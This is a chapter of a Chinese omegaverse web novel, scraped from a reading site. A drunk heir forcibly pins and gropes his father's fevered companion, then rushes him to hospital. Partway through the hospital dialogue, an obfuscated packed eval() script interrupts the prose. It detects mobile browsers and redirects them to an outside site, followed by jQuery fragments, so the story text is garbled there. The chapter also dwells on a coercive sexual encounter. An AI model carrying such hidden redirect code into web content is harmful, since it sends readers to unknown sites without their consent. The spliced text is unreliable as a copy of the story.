默认冷灰
24号文字
方正启体

7. Chapter 7

作者:发条橘本书字数:K更新时间:
    包厢里震耳欲聋的音乐和陆言诚的每一句调侃,都像尖锐的噪音,刺得厉琛头痛欲裂。他一把推开身边纠缠不休的Omega,将杯中剩下的烈酒一饮而尽,烦躁地起身离开。


    他不知道自己要去哪里,只是本能地想逃离这个糜烂又空虚的场合。


    午夜三点的城市,依旧灯火通明。厉琛把车钥匙甩给会所的代驾,报出S市最寸土寸金的地址。


    车子平稳地行驶在空无一人的街道上,窗外的霓虹光怪陆离地掠过他年轻英俊的脸庞。


    他的脑子里乱成一团浆糊,安宴那张烧得通红的脸,和陆言诚那些恶劣的调侃,像两部交错的电影,在他脑中反复播放。最终,车子还是把他带回那栋憎恶又无法割舍的老宅。


    而另一边,安宴从冰冷的藤椅上醒来。


    好冷……


    他的身体像灌了铅一样沉重,骨头缝里都透着酸痛和寒意。他以为只是在阳台睡久了着了凉,强撑着站起来。


    黑暗中,他扶着墙壁,脚步虚浮地挪动着。喉咙干得像要冒火,他晃晃悠悠地走向厨房,想找点水喝。


    厨房的电子钟,显示着凌晨三点零七分。


    玄关留的灯还在……


    历云谏还没有回来。


    安宴沉默的站了一会,还是决定先喝水。可他的手抖得厉害,直饮水从杯口撒了出来,冰凉的液体落在手上,他却毫无知觉。


    就在这时,他听到门口传来了轻微的脚步声。


    烧得模糊的视线里,一个高大熟悉的身影逆着走廊微弱的光走了进来。安宴的心猛地一跳,几乎是出于十二年养成的本能,他立刻站直了身体,迎了上去。


    酒精与归家的烦躁在厉琛的脑海中交织。他看着眼前这个主动迎上来的人,因为发烧而双颊绯红,眼神迷.离湿.润,连站姿都带着一种顺从的脆弱。因为口渴而造成的沙哑嗓音,更像是一种欲拒还迎的邀请。


    历琛眯了眯眼睛,瞬间就将眼前的人与陆言诚口中那个“盘靓条顺的Beta”对上了号。


    操,陆言诚这小子的的动作真他妈的快……


    “先生,您回来了,”安宴声音沙哑得厉害,带着些许自己都未曾觉察的脆弱,“您喝酒了?我去给您准备醒酒汤。”


    见人没有反应,他伸出手想去接对方脱下的外套,指尖却触到了一片冰凉的丝质衬衫。


    安宴愣住了,这不是他熟悉的羊绒大衣。


    他努力地眨了眨眼,试图看清眼前的人。


    不是历云谏……


    如此相像的眉眼,却有着截然不同的神情和气质。


    回来的人是厉琛。


    安宴向后撤步,“抱歉,我认错了……”


    安宴还没后退几步,厉琛就已经向他靠了过来。


    “谁让你走了?我同意了吗!”


    少年Alpha霸道凛冽的信息素,不由分说地将安宴彻底包.裹。


    beta是不受信息素影响的,可历琛信息素裹挟着强大的压迫感让安宴本就虚弱的身体一软。厉琛酒意未散,同样也没站稳,两人就这么四肢纠.缠着,重重地摔在了冰冷坚硬的大理石地板上。


    撞.击的痛楚让安宴闷.哼一声。下一秒,他被一个滚.烫的身体翻转压.住。地面越冰冷,身上躯.体就越炙热……


    安宴单薄的羊绒衫被磨.得向上卷起,露出一截清瘦的腰线,紧贴着厉琛火.热的小.腹。


    空气中,凛冽的Alpha信息素与安宴身上因高烧而蒸腾出的干净松木气息混合在一起,发酵出一种危险又令人目眩神迷的味道。


    “长得倒是真有点像,”厉琛的呼吸带着灼人的酒气,喷在安宴敏.感的耳廓上,他欣赏着身.下之人微微颤.抖的身.体,低声呢喃,“不过,我是不会搞替身这种恶心巴拉的事情的。”


    他粗.暴地捏住beta的下巴,强.迫那张茫然的脸正对自己,语气里满是居高临下的嘲讽。


    “你一个Beta,干嘛做这种事?我们这个社会,法律只保护柔弱的Omega,像你这样的Beta,被Alpha玩了就是玩了,连张伤害鉴定都开不出来。你就没想过,以后怎么办?”


    也许是觉得beta天生就好欺负,又或者是天然觉得眼前人长了一副好脾气的模样,厉琛絮絮叨叨地,将那些在清醒时压.抑的的复杂情绪,一股脑说给了这个“替身”听。


    “历……”安宴想开口。


    “嘘,别说话。”


    历琛的手指带着滚.烫的温度,像是好奇的研究者,抚.上安宴修长的脖颈,在那片光滑细腻的皮肤上,笨.拙地寻找着那并不存在的柔软凸.起。


    “beta为什么没有腺体?”


    他想要找到一个可以被Alpha标记和征服的弱点,却只摸到平滑的皮肤和脆弱搏动着的颈动脉。


    这种生理结构上的“不完整”,让他基因中的原始征服欲无处安放,反而激起一股更强烈的,想要留下点什么的破坏欲。


    历琛刚成年,却已经发育成相当成熟,一米八五的身高加上成年男人的体重,把安宴压.得喘不过气。高烧与被冒犯的羞耻感让安宴眼前阵阵发黑,几乎要失去意识。


    他用尽最后一丝力气,偏过头,沙哑地开口:“少爷,您喝多了。”


    “少……爷?”


    他猛地停下动作,混沌的脑子清醒了几分。他看清了身.下的人,哪里是陆言诚送来的清秀beta,是安宴。


    “操,怎么是你。”


    一股复杂而强烈的厌恶感涌上心头。历琛四肢沉重,狼狈地从安宴身上爬起来,却发现对方已经烧得快要昏迷过去。


    “干嘛,要装死?”厉琛的声音有些发抖,他踹了踹安宴的腿,“起来!别以为这样我就会放过你!”


    安宴毫无反应。


    厉琛的心彻底乱了。他不能叫家庭医生,那等于是在历云谏面前亲口承认,自己差点对安宴做了什么。


    被误会倒是没什么,但这会让安宴有机会在历云谏面前卖惨,博取同情的同时,也许就能从周筝身上分到历云谏的注意力……


    历琛死也不能给安宴这个机会。


    他咬着牙,粗.暴地将安宴从地上拖起来,扛着他冲出了别墅,直接打车去了最近的私立医院。


    -


    急诊室里,医生看着检查报告,神色凝重:“高烧引起的急性肺炎,再晚来一点就危险了。你是他什么人?家属


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299592|182756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    签个字。”


    厉琛被问住了。


    他是什么人?仇人?继子?


    历琛烦躁地抓了抓头发,最终吐出了一个连自己都觉得荒谬的称呼。


    “他是我小爸。呃……”他自己都觉得别扭,“但是他也没和我爸结婚。”


    医生皱了皱眉:“那就是没法律关系?那你不能作为监护人签字,这不合规矩,得联系他直系亲属。”


    “他哪来的直系亲属!”厉琛的火气一下子就上来了,他拍着桌子,“现在救人要紧还是走程序要紧?出了事我担着!”


    看着他那副焦急的样子,医生和护士对视一眼,最终还是妥协了,让他以“家属”的名义办好了所有手续。


    安宴被推进了普通的病房,挂上了点滴。看着躺在病床上,脸色惨白如纸的安宴,厉琛心里的烦躁不减反增。


    他转身就走,可在医院冰冷的长廊里绕了一圈,最终还是黑着脸折了回来。


    他直接冲到护士站,把自己的黑卡拍在桌上:“给他换最好的单人病房,钱不够直接用卡补上,别让他死这儿。”


    他对值班的护士冷冷地丢下一句话。


    “好好照顾他,他年纪大了,别发烧再烧死了。”厉琛顿了顿,又恶狠狠地补充道,“留着他的命,我还要慢慢收拾他。”


    -


    安宴从一片混沌中醒来时,发现自己身处一个陌生的纯白房间。消毒水的味道和手背上冰凉的刺痛感,让他意识到这里是医院。


    一位正好查房的小护士见他醒了,立刻走过来,笑着说:“您醒啦?您儿子可真关心您,昨晚送您来的时候急得不行,还特意嘱咐我们好好照顾您呢。”


    儿子?安宴还没从这个称呼中回过神来,病房的门就被推开了。


    管家林伯提着保温桶走了进来,看到他醒了,松了口气:“安先生,我给您熬了些清淡的粥,您趁热喝点。”


    他打开保温桶,一股带着米香和姜丝味道的热气散发出来。


    安宴看着那碗粥,恍惚间想起了自己十八岁那年,刚被送到历家的时候。那时候的他,惶恐不安,像一只惊弓之鸟,是林伯端着这样一碗热粥,告诉他别怕。


    十二年了,林伯待他,始终如一。他心头涌上一阵暖意,轻声道了句“谢谢”。


    林伯顿了顿,又说,“先生已经在来看您的路上了。”


    安宴的喉咙干涩得厉害,他张了张嘴,才发出嘶哑的声音。


    “林伯,跟先生说不用麻烦他来,”他垂下眼帘,声音微弱,却带着一种通透的平静,“我没什么大事,别打扰他陪着周先生。”


    林伯有些惊讶,还想再劝:“您不必这么为先生考虑”


    安宴只是摇了摇头。他不是为历云谏考虑,他只是累了。在自己这么狼狈病弱的时候,他实在没有多余的精力,去应付历云谏那些需要打起十二分精神才能维系的规矩和体面。


    他话音刚落,隔着病床边那道半透明的磨砂玻璃屏风,一个沉稳而熟悉的声音响了起来,带着一丝不易察觉的冷意。


    “不打扰我?”历云谏从屏风后缓步走出,他穿着一身剪裁合体的深灰色西装,神色平静地看着病床上的安宴,“那你还想打扰谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)